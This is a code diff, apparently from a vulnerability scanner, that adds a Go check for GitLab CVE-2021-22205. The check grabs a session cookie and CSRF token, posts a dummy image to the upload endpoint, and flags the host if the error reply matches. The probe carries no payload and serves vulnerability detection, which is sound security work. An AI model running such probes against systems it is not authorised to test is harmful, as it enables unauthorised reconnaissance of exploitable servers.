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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,66 @@ | ||
| package gitlab | ||
|
|
||
| import ( | ||
| "bytes" | ||
| "fmt" | ||
| "github.com/veo/vscan/pkg" | ||
| "mime/multipart" | ||
| "net/textproto" | ||
| "regexp" | ||
| "strings" | ||
| ) | ||
|
|
||
| func CVE_2021_22205(url string) bool { | ||
| if req, err := pkg.HttpRequset(url+"/users/sign_in", "GET", "", false, nil); err == nil { | ||
| if req.StatusCode == 200 { | ||
| var cookie string | ||
| var csrf string | ||
| if req.Header != nil { | ||
| var SetCookieAll string | ||
| for i := range req.Header["Set-Cookie"] { | ||
| SetCookieAll += req.Header["Set-Cookie"][i] | ||
| } | ||
| cookie = regexp.MustCompile("_gitlab_session=(.*?);").FindString(SetCookieAll) | ||
| //if len(counts) > 1 { | ||
| // cookie = counts[1] | ||
| //} | ||
| } | ||
| if req.Body != "" { | ||
| csrfToken := regexp.MustCompile("<meta name=\"csrf-token\" content=\"(.*?)\"").FindStringSubmatch(req.Body) | ||
| if len(csrfToken) > 1 { | ||
| csrf = csrfToken[1] | ||
| } | ||
| } | ||
| if cookie != "" && csrf != "" { | ||
| return upload(url, cookie, csrf) | ||
| } | ||
| } | ||
| } | ||
| return false | ||
| } | ||
|
|
||
| func upload(u string, cookie string, csrf string) bool { | ||
| buf := new(bytes.Buffer) | ||
| w := multipart.NewWriter(buf) | ||
| h := make(textproto.MIMEHeader) | ||
| h.Set("Content-Disposition", `form-data; name="file"; filename="1.jpg"`) | ||
| h.Set("Content-Type", "image/jpeg") | ||
| fw, err := w.CreatePart(h) | ||
| if err != nil { | ||
| return false | ||
| } | ||
| _, _ = fw.Write([]byte("1")) | ||
| boundary := w.Boundary() | ||
| _ = w.Close() | ||
| header := make(map[string]string) | ||
| header["Content-Type"] = "multipart/form-data; boundary=" + boundary | ||
| header["Cookie"] = cookie | ||
| header["X-CSRF-Token"] = csrf | ||
| if req, err := pkg.HttpRequset(u+"/uploads/user", "POST", buf.String(), false, header); err == nil { | ||
| if strings.Contains(req.Body, "Failed to process image") { | ||
| pkg.GoPocLog(fmt.Sprintf("Found vuln gitlab CVE_2021_22205|%s\n", u)) | ||
| return true | ||
| } | ||
| } | ||
| return false | ||
| } |
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